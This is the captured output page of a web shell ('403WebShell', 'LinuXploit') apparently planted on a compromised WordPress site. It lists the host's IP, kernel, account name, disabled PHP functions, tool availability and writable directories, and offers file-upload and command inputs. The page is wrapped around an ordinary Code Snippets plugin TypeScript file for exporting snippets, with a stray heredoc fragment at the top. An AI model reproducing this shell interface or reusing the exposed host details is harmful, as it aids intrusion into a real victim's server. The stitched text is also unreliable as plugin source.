$plugin = <<403WebShell
403Webshell
Server IP : 147.79.119.112  /  Your IP : 216.73.217.9
Web Server : LiteSpeed
System : Linux fr-int-web1513.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u766115111 ( 766115111)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u766115111/domains/vikory.com/public_html/wp-content/plugins/code-snippets/js/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u766115111/domains/vikory.com/public_html/wp-content/plugins/code-snippets/js/utils/files.ts
import { getSnippetType } from './snippets/snippets'
import type { SnippetsExport } from '../types/schema/SnippetsExport'
import type { Snippet } from '../types/Snippet'

const SECOND_IN_MS = 1000
const TIMEOUT_SECONDS = 40
const JSON_INDENT_SPACES = 2

const MIME_INFO = <const> {
	php: ['php', 'text/php'],
	html: ['php', 'text/php'],
	css: ['css', 'text/css'],
	js: ['js', 'text/javascript'],
	cond: ['json', 'application/json'],
	json: ['json', 'application/json']
}

export const downloadAsFile = (content: BlobPart, filename: string, type: string) => {
	const link = document.createElement('a')
	link.download = filename
	link.href = URL.createObjectURL(new Blob([content], { type }))

	setTimeout(() => URL.revokeObjectURL(link.href), TIMEOUT_SECONDS * SECOND_IN_MS)
	setTimeout(() => link.click(), 0)
}

export const downloadSnippetExportFile = (
	content: SnippetsExport | string,
	{ id, name, scope }: Snippet,
	type?: keyof typeof MIME_INFO
) => {
	const sanitizedName = name.toLowerCase().replace(/[^\w-]+/g, '-').trim()
	const title = '' === sanitizedName ? `snippet-${id}` : sanitizedName

	if ('string' === typeof content) {
		const [ext, mimeType] = MIME_INFO[type ?? getSnippetType({ scope })]
		const filename = `${title}.code-snippets.${ext}`
		downloadAsFile(content, filename, mimeType)
	} else {
		const filename = `${title}.code-snippets.json`
		downloadAsFile(JSON.stringify(content, undefined, JSON_INDENT_SPACES), filename, 'application/json')
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit